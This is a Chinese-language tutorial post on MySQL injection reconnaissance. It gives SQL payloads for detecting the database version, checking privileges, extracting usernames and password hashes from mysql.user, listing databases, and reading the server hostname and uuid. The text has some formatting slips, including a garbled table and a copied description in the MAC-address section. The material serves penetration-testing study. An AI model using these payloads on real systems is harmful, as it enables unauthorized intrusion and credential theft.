mysql注入學習2(資料庫信息收集)
來自專欄 雜術館
測試mysql版本
在我們滲透測試過程中,對於數據的收集是非常重要的一個環節。下面是測試當前資料庫的版本信息,主要用到的內置函數有:
VERSION() @@VERSION @@GLOBAL.VERSION
例如使用這個查詢的語句:
SELECT * FROM Users WHERE id = 1 AND MID(VERSION(),1,1) = 5;
除了我們可以使用上述方法來做查詢,我們還可以使用注釋中的特殊字元串來做相關的判斷:
/*!VERSION 特殊字元串*/
具體使用方法如下:
首先我們使用的查詢字元串是: SELECT * FROM Users limit 1,{INJECTION POINT}; 1 /*!50094eaea*/; False - 版本大於或者等於 5.00.94 1 /*!50096eaea*/; True - 版本小於 5.00.96 1 /*!50095eaea*/; False - 版本等於 5.00.95
注釋:有關MySQL的更多使用方法請參考MySQL詳細說明
資料庫的賬號許可權
在我們滲透測試過程中,資料庫賬號的許可權決定這下一步該怎麼去做。高許可權的賬號可以讀取文件,寫文件以及執行命令等,所以我們需要認真的掌握這塊的知識。
| Table | mysql.user |
| —————— |:——————-:| | Columns | user, password | | Current User | user(), current_user(), current_user, system_user(), session_user() |具體使用的查詢字元串如下:
SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = root-- (Privileged)
資料庫名稱
下面是將怎麼樣在注入的過程中查詢有哪些資料庫的知識,詳細的信息如下:
Tablesinformation_schema.schemata, mysql.dbColumnsschema_name, dbCurrent DBdatabase(), schema()具體使用方法如下:
SELECT database(); SELECT schema_name FROM information_schema.schemata; SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
資料庫的機器名
查詢資料庫所在伺服器的機器名的內置函數是@@HOSTNAME。其用法很簡單,如下:
SELECT @@hostname;
資料庫的MAC地址查詢
查詢資料庫所在伺服器的機器名的內置函數是uuid()。其用法很簡單,如下:
SELECT uuid();
查詢結果為:
+--------------------------------------+ | 1d5969a3-1a90-11e7-9e5c-000c29a31a50 | +--------------------------------------+
aaa
推薦閱讀:
※有哪些好用的滲透測試演練系統?
※DVWA Vulnerability: Reflected Cross Site Scripting (XSS)
※龍翔,我終於找到你了
※htaccess文件的利用技巧
TAG:滲透測試 | 白帽黑客WhiteHat | 網路滲透 |